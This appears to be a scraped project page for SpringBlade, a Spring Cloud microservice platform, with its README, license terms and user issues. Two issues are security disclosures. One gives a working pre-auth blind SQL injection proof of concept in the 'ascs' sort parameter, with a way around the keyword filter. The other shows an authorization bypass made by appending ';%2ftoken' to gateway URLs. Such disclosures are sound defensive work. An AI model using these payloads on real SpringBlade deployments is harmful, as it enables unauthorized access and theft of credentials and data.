SpringBlade 是一个由商业级项目升级优化而来的SpringCloud分布式微服务架构、SpringBoot单体式微服务架构并存的综合型项目,采用Java8 API重构了业务代码,完全遵循阿里巴巴编码规范。采用Spring Boot 2.4 、Spring Cloud 2020 、Mybatis 等核心技术,同时提供基于React和Vue的两个前端框架用于快速搭建企业级的SaaS多租户微服务平台。

Overview

Downloads Build Status Build Status Coverage Status Downloads Downloads Downloads

SpringBlade微服务开发平台

  • 采用前后端分离的模式,前端开源两个框架:Sword (基于 React、Ant Design)、Saber (基于 Vue、Element-UI)
  • 后端采用SpringCloud全家桶,并同时对其基础组件做了高度的封装,单独开源出一个框架:BladeTool
  • BladeTool已推送至Maven中央库,直接引入即可,减少了工程的臃肿,也可更注重于业务开发
  • 集成Sentinel从流量控制、熔断降级、系统负载等多个维度保护服务的稳定性。
  • 注册中心、配置中心选型Nacos,为工程瘦身的同时加强各模块之间的联动。
  • 使用Traefik进行反向代理,监听后台变化自动化应用新的配置文件。
  • 极简封装了多租户底层,用更少的代码换来拓展性更强的SaaS多租户系统。
  • 借鉴OAuth2,实现了多终端认证系统,可控制子系统的token权限互相隔离。
  • 借鉴Security,封装了Secure模块,采用JWT做Token认证,可拓展集成Redis等细颗粒度控制方案。
  • 稳定生产了三年,经历了从 Camden -> Hoxton -> 2020 的技术架构,也经历了从fat jar -> docker -> k8s + jenkins的部署架构。
  • 项目分包明确,规范微服务的开发模式,使包与包之间的分工清晰。

架构图

工程结构

SpringBlade
├── blade-auth -- 授权服务提供
├── blade-common -- 常用工具封装包
├── blade-gateway -- Spring Cloud 网关
├── blade-ops -- 运维中心
├    ├── blade-admin -- spring-cloud后台管理
├    ├── blade-develop -- 代码生成
├    ├── blade-resource -- 资源管理
├    ├── blade-seata-order -- seata分布式事务demo
├    ├── blade-seata-storage -- seata分布式事务demo
├── blade-service -- 业务模块
├    ├── blade-desk -- 工作台模块 
├    ├── blade-log -- 日志模块 
├    ├── blade-system -- 系统模块 
├    └── blade-user -- 用户模块 
├── blade-service-api -- 业务模块api封装
├    ├── blade-desk-api -- 工作台api 
├    ├── blade-dict-api -- 字典api 
├    ├── blade-system-api -- 系统api 
└──  └── blade-user-api -- 用户api 

官网

在线演示

技术文档

项目地址

开源协议

Apache Licence 2.0 (英文原文) Apache Licence是著名的非盈利开源组织Apache采用的协议。该协议和BSD类似,同样鼓励代码共享和尊重原作者的著作权,同样允许代码修改,再发布(作为开源或商业软件)。 需要满足的条件如下:

  • 需要给代码的用户一份Apache Licence
  • 如果你修改了代码,需要在被修改的文件中说明。
  • 在延伸的代码中(修改和有源代码衍生的代码中)需要带有原来代码中的协议,商标,专利声明和其他原来作者规定需要包含的说明。
  • 如果再发布的产品中包含一个Notice文件,则在Notice文件中需要带有Apache Licence。你可以在Notice中增加自己的许可,但不可以表现为对Apache Licence构成更改。 Apache Licence也是对商业应用友好的许可。使用者也可以在需要的时候修改代码来满足需要并作为开源或商业产品发布/销售。

用户权益

  • 允许免费用于学习、毕设、公司项目、私活等。
  • 对未经过授权和不遵循 Apache 2.0 协议二次开源或者商业化我们将追究到底。
  • 参考请注明:参考自 SpringBlade:https://gitee.com/smallc/SpringBlade 。另请遵循 Apache 2.0 协议。
  • 注意:若禁止条款被发现有权追讨 19999 的授权费。

界面

BladeX 工作流一览

Sword 界面一览

Saber 界面一览

监控界面一览

关注我们

Comments
  • Pre-auth SQL injection

    Pre-auth SQL injection

    tl;dr Flaws in DAO/DTO implementation allows SQLi in order by clause. User token and/or password hash disclosed in pre-auth APIs of which are vulnerable to SQLi above as well.

    detail

    /api/blade-log/api/list
    

    is exposed by default install. For instance, the demo site. upload_aaa29b3ad97ede8813529433d5c2c13c

    'Refresh token' can be used to exchange for a valid jwt ticket, or in a different way to compromise user account, log in with credential cracked from leaking md5 hash.

    Before actually stepping into the system, let's see what's else we could find on this API.

    Request handling looks a lot like this

    	/**
    	 * 查询多条(分页)
    	 */
    	@GetMapping("/list")
    	public R<IPage<LogUsualVo>> list(@ApiIgnore @RequestParam Map<String, Object> log, Query query) {
    		IPage<LogUsual> pages = logService.page(Condition.getPage(query), Condition.getQueryWrapper(log, LogUsual.class));
    		List<LogUsualVo> records = pages.getRecords().stream().map(logApi -> {
    			LogUsualVo vo = BeanUtil.copy(logApi, LogUsualVo.class);
    			vo.setStrId(Func.toStr(logApi.getId()));
    			return vo;
    		}).collect(Collectors.toList());
    		IPage<LogUsualVo> pageVo = new Page<>(pages.getCurrent(), pages.getSize(), pages.getTotal());
    		pageVo.setRecords(records);
    		return R.data(pageVo);
    	}
    

    Condition.getPage() casts a few params to Int and replace 'bad words' with blank string in 'ascs' and 'desc' (which are then pasted into order by clause)

        public static <T> IPage<T> getPage(Query query) {
            Page<T> page = new Page((long)Func.toInt(query.getCurrent(), 1), (long)Func.toInt(query.getSize(), 10));
            page.setAsc(Func.toStrArray(SqlKeyword.filter(query.getAscs())));
            page.setDesc(Func.toStrArray(SqlKeyword.filter(query.getDescs())));
            return page;
        }
    

    the Condition.getQueryWrapper() thing is a sort of indicator for batis data model, apart from being a type indicator it is in charge of building statement. after a few delegates and overrides it gets invoked in the way below

        public static <T> QueryWrapper<T> getQueryWrapper(Map<String, Object> query, Map<String, Object> exclude, Class<T> clazz) {
            exclude.forEach((k, v) -> {
                query.remove(k);
            });
            QueryWrapper<T> qw = new QueryWrapper();
            qw.setEntity(BeanUtil.newInstance(clazz));
            SqlKeyword.buildCondition(query, qw);
            return qw;
        }
    

    Only seen tokenization stuffs in SqlKeyword.buildCondition(). At this stage, pre-auth visitors can perform SQLi by providing malicious query.get[AD]scs() values, which were directly taken from reuqest as strings, if SqlKeyword.filter() isn't too strong, right?

        public static String filter(String param) {
            return param == null ? null : param.replaceAll("(?i)'|%|--|insert|delete|select|count|group|union|drop|truncate|alter|grant|execute|exec|xp_cmdshell|call|declare|sql", "");
        }
    

    Simply 'double-write' (eg, select -> selselectect) to bypass while doing real world exploitation. filter won't interfere with POCs below. Notice comma char (%2c) gets picked up and replaced in deeper delegate.

    Iterate placeholder 1 and 97 in URL below (params decoded) from 1 to 20ish and 97 to 123 respectively.

    /api/blade-log/api/list?ascs=time and ascii(substring(user() from 1))=97
    

    by comparing response length, pick out uncommon returns, record relating iterator nums, gets you a ascii sequence of [98,108,97,100,101,120,?,108,111,99,97,108,104,111,115,116,?......] non-lowercase-alphabet chars are marked as '?'. upload_9998898e103ce51afaf152eaa9af391e

    this gets you current db user.

    >>> ''.join(map(chr,[98,108,97,100,101,120,63,108,111,99,97,108,104,111,115,116]))
    'bladex?localhost'
    

    post script the actul /api/blade-log/api/list sets a fixed "desc", is vulne to malicious "ascs" only.

    IPage<LogApi> pages = logService.page(Condition.getPage(query.setDescs("create_time")), Condition.getQueryWrapper(log, LogApi.class));
    
    opened by tz2u 3
  • 库存减少方法是否会存在竞争条件

    库存减少方法是否会存在竞争条件

    下面是库存减少的代码片段,出自org.springblade.seata.storage.service.impl.StorageServiceImpl

    @Override @Transactional(rollbackFor = Exception.class) public int deduct(String commodityCode, int count) { Storage storage = baseMapper.selectOne(Wrappers.query().lambda().eq(Storage::getCommodityCode, commodityCode)); if (storage.getCount() < count) { throw new RuntimeException("超过库存数,扣除失败!"); } storage.setCount(storage.getCount() - count); return baseMapper.updateById(storage); }

    opened by a413528002 3
  • 使用初感

    使用初感

    • 看到文档介绍,好强大,都心动要自己付费了
    • 创建第一个demo
      • what?要改启动类的main方法?emmm.....好吧。
      • what?appName要在main方法传进去?这不是应该从application.yml或者bootstrap.yml读取的吗? emmm....好吧。
    • 好奇的进入自定义启动类看看
      • what?activeProfile默认是dev?我不能不设置activeProfile吗?现在的微服务,不同环境的配置都会在配置中心管理了。
      • what?activeProfile不能有多个?为啥要有这个限制?给我个合适的理由?
      • what?isLocalDev就判断一下系统是不是linux系统?我不能在ubuntu使用这个框架开发?
      • what?allow-bean-definition-overriding=true?bean有冲突就说明了有坑,直接覆盖而不是找问题?真粗暴。
      • what?file-extension只能是yml?我为啥不能是properties?
      • what?LogLauncherServiceImpl直接写死日志配置路径?。。。。

    我默默地整理了一下凌乱的思路。。。

    opened by jianghuzai 2
  • 写测试类时,提示找不到占位符'blade.env'

    写测试类时,提示找不到占位符'blade.env'

    这个测试类该怎么写?

    TIM图片20190614180440

    我正常运行SpiderApplication没问题,但是写到测试类里就出现找不到blade.env,我哪里写错了吗?

    运行报错: Could not resolve placeholder 'blade.env' in value "classpath:log/logback_${blade.env}.xml"

    opened by die1100 1
  • docker bladex/sentinel-dashboard images

    docker bladex/sentinel-dashboard images

    docker run bladex/sentinel-dashboard, how to set -Dcsp.sentinel.dashboard.server=localhost:8080 -Dsentinel.dashboard.auth.username=sentinel -Dsentinel.dashboard.auth.password=123456

    opened by beyond0630 0
  • @BladeBootTest与@MockBean共同工作时会报错

    @BladeBootTest与@MockBean共同工作时会报错

    @SpringBootTest上已经有@ExtendWith(SpringExtension.class)注解,当使用@BladeBootTest自定义注解和@MockBean时 org.junit.jupiter.engine.descriptor.ClassBasedTestDescriptor#invokeTestInstancePostProcessors TestInstancePostProcessor类型会有两次执行 image

    org.springframework.boot.test.mock.mockito.MockitoPostProcessor#inject(java.lang.reflect.Field, java.lang.Object, org.springframework.boot.test.mock.mockito.Definition) 最终会出现cannot have an existing value image

    官方也给出了相应的说明: If you are using JUnit 4, don’t forget to also add @RunWith(SpringRunner.class) to your test, otherwise the annotations will be ignored. If you are using JUnit 5, there’s no need to add the equivalent @ExtendWith(SpringExtension.class) as @SpringBootTest and the other @…Test annotations are already annotated with it.

    opened by 605774644 0
  • 问题反馈流程说明

    问题反馈流程说明

    为了让大家更高效地交流,请大家前往Blade技术社区按照规范的格式发帖提问。

    技术社区地址:https://sns.bladex.vip

    一、该问题的重现步骤是什么?

    二、你期待的结果是什么?实际看到的又是什么?

    三、你正在使用的是什么产品,什么版本?在什么操作系统上?

    四、请提供详细的错误堆栈信息,这很重要。

    五、若有更多详细信息,请在下面提供。

    opened by chillzhuang 0
  • Authorization bypass in blade-gateway

    Authorization bypass in blade-gateway

    src/main/java/org/springblade/gateway/filter/AuthFilter.java

    isSkip() method in AuthFilter.java, url.replace(AuthProvider.TARGET, AuthProvider.REPLACEMENT)) is equal to url.replace("/**", ""), which is to remove /** in defaultSkipUrl then determines whether the path contains one of the URLs.

    Note that contains is used, that is, path::contains, which means that as long as the incoming path contains the URL in /token or defaultSkipUrl, authorization can be bypassed.

    You can use the URL parsing feature to add ;%2ftoken after the request to be considered that the Url contains the /token, and the route can be correctly resolved by the gateway, resulting in unauthorized access.

    image

    The origin without Blade-Auth is blocked. http://localhost/blade-gateway/discovery/instances image

    Add %2ftoken to the end of the URL to bypass authorization. http://localhost/blade-gateway/discovery/instances;%2ftoken image

    opened by s31k31 0
Releases(v3.5.0)
该仓库中主要是 Spring Boot 的入门学习教程以及一些常用的 Spring Boot 实战项目教程,包括 Spring Boot 使用的各种示例代码,同时也包括一些实战项目的项目源码和效果展示,实战项目包括基本的 web 开发以及目前大家普遍使用的线上博客项目/企业大型商城系统/前后端分离实践项目等,摆脱各种 hello world 入门案例的束缚,真正的掌握 Spring Boot 开发。

Spring Boot Projects 该仓库中主要是 Spring Boot 的入门学习教程以及一些常用的 Spring Boot 实战项目教程,包括 Spring Boot 使用的各种示例代码,同时也包括一些实战项目的项目源码和效果展示,实战项目包括基本的 web 开发以及目前大家普遍使用的前

十三 4.5k Dec 30, 2022
一个涵盖六个专栏:Spring Boot 2.X、Spring Cloud、Spring Cloud Alibaba、Dubbo、分布式消息队列、分布式事务的仓库。希望胖友小手一抖,右上角来个 Star,感恩 1024

友情提示:因为提供了 50000+ 行示例代码,所以艿艿默认注释了所有 Maven Module。 胖友可以根据自己的需要,修改 pom.xml 即可。 一个涵盖六个主流技术栈的正经仓库: 《Spring Boot 专栏》 《Spring Cloud Alibaba 专栏》 《Spring Clou

芋道源码 15.7k Dec 31, 2022
mall-swarm是一套微服务商城系统,采用了 Spring Cloud Hoxton & Alibaba、Spring Boot 2.3、Oauth2、MyBatis、Docker、Elasticsearch、Kubernetes等核心技术,同时提供了基于Vue的管理后台方便快速搭建系统。mall-swarm在电商业务的基础集成了注册中心、配置中心、监控中心、网关等系统功能。文档齐全,附带全套Spring Cloud教程。

mall-swarm 友情提示 快速体验项目:在线访问地址。 全套学习教程:《mall学习教程》。 Spring Cloud全套教程:《SpringCloud学习教程》。 专属学习路线:学习不走弯路,整理了套非常不错的《mall专属学习路线》。 项目交流:想要加群交流项目的朋友,可以加入mall项目

macro 9.7k Jan 3, 2023
🔥 强大的动态线程池,并附带监控报警功能(没有依赖中间件),完全遵循阿里巴巴编码规范。Powerful dynamic thread pool, does not rely on any middleware, with monitoring and alarm function.

?? 动态线程池(DTP)系统,包含 Server 端及 SpringBoot Client 端需引入的 Starter. 这个项目做什么? 动态线程池(Dynamic-ThreadPool),下面简称 DTP 系统 美团线程池文章 介绍中,因为业务对线程池参数没有合理配置,触发过几起生产事故,进而

longtai 3.4k Dec 30, 2022
Demo microservice architecture with Spring ,Spring Cloud Gateway , Spring Cloud config server , Eureuka , keycloak and Docker.

spring-microservice Demo microservice architecture with Spring ,Spring Cloud Gateway , Spring Cloud config server , Eureuka , keycloak and Docker. Arc

null 4 Sep 13, 2022
参考 DDD/Clean Architecture 设计理念,整合 Spring Boot/Spring Security/Mybatis Plus/Vavr 的 Spring Realworld 应用案例

Demo · 更多项目 · 参考资料 ms-spring-ddd-examples Unified Domain-driven Layered Architecture for MicroService Apps,试图探索一套切实可行的应用架构规范,可以复制、可以理解、可以落地、可以控制复杂性的指导

王下邀月熊 19 Sep 23, 2022
A high availability shopping(ecommerce) system using SpringBoot, Spring Cloud, Eureka Server, Spring Cloud Gateway, resillience4j, Kafka, Redis and MySQL.

High-availability-shopping-system A high availability shopping(ecommerce) system using SpringBoot, Spring Cloud, Eureka Server, Spring Cloud Gateway,

LeiH 1 Oct 26, 2022
开源论坛、问答系统,现有功能提问、回复、通知、最新、最热、消除零回复功能。功能持续更新中…… 技术栈 Spring、Spring Boot、MyBatis、MySQL/H2、Bootstrap

码问社区 在线演示地址 www.mawen.co 功能列表 开源论坛、问答系统,现有功能提问、回复、通知、最新、最热、消除零回复功能。功能持续更新中…… 技术栈 技术 链接 Spring Boot http://projects.spring.io/spring-boot/#quick-start

小匠 2.3k Dec 30, 2022
Spring 2019-2020 Java Programming course lab -- Chongqing University. Include my source codes and lab reports.

JAVA_GUI_File_Manager Spring 2019-2020 JAVA Programming course homeworks -- Chongqing University. Include my source codes and reports. Contents: Draw

Chase/Jiaxuan Cai 6 Nov 11, 2022
Spring 2019-2020 Java Programming course lab -- Chongqing University. Include my source codes and lab reports.

JAVA_GUI_File_Manager Spring 2019-2020 JAVA Programming course homeworks -- Chongqing University. Include my source codes and reports. Contents: achie

Chase/Jiaxuan Cai 6 Jun 29, 2022
Spring Boot Login and Registration example with MySQL, JWT, Rest Api - Spring Boot Spring Security Login example

Spring Boot Login example with Spring Security, MySQL and JWT Appropriate Flow for User Login and Registration with JWT Spring Boot Rest Api Architect

null 58 Jan 5, 2023
芋道 mall 商城,基于微服务的思想,构建在 B2C 电商场景下的项目实战。核心技术栈,是 Spring Boot + Dubbo 。未来,会重构成 Spring Cloud Alibaba 。

[toc] 友情提示:近期在升级和优化该项目,建议先 Star 本项目。主要在做几个事情: 1、微服务技术选型以 Spring Cloud Alibaba 为中心。 2、修改项目分层,并合并部分服务,简化整体服务的复杂性。 3、将管理后台从 React 重构到 Vue 框架。 交流群:传送门 前言

芋道源码 7k Jan 6, 2023
Spring boot microservice example with Eureka Server + Eureka Client + Spring Cloud API Gateway + OAuth2.0 + Circuit Breaker + Resilience4J + FeignClient + RestTemplate

Spring boot microservice example Spring boot microservice example with Eureka Server + Eureka Client + Spring Cloud API Gateway + OAuth2.0 + Circuit B

Subhash Lamba 47 Dec 29, 2022
Microservice Architecture with Spring Boot, Spring Cloud and Docker

Piggy Metrics Piggy Metrics is a simple financial advisor app built to demonstrate the Microservice Architecture Pattern using Spring Boot, Spring Clo

Alexander Lukyanchikov 12.1k Jan 1, 2023
Spring Boot microservices app with Spring Cloud, Robust and resilient backend managing e-Commerce app

e-Commerce-boot μServices Important Note: This project's new milestone is to move The whole system to work on Kubernetes, so stay tuned. Introduction

Selim Horri 65 Dec 23, 2022
Sample Spring-Cloud-Api-Gateway Project of Spring Boot

Sample-Spring-Cloud-Api-Gateway Sample Spring-Cloud-Api-Gateway Project of Spring Boot Proejct Stack Spring Webflux Spring Cloud Gateway Spring Data R

Seokhyun 2 Jan 17, 2022
A spring cloud infrastructure provides various of commonly used cloud components and auto-configurations for high project consistency

A spring cloud infrastructure provides various of commonly used cloud components and auto-configurations for high project consistency.

Project-Hephaestus 2 Feb 8, 2022
一个基于vue3.0+antd+less+spring boot +mybatis+mysql+maven基础权限管理平台

cc-project vue 版本 angular版本请到 https://github.com/myopenresources/cc-project 这里看 详细文档 请到 cc-project详细文档 介绍 cc-project-vue 是一个前后端分离的项目,前端使用的是vue3.0,后端使用

河马开源-hippo 21 Jun 23, 2022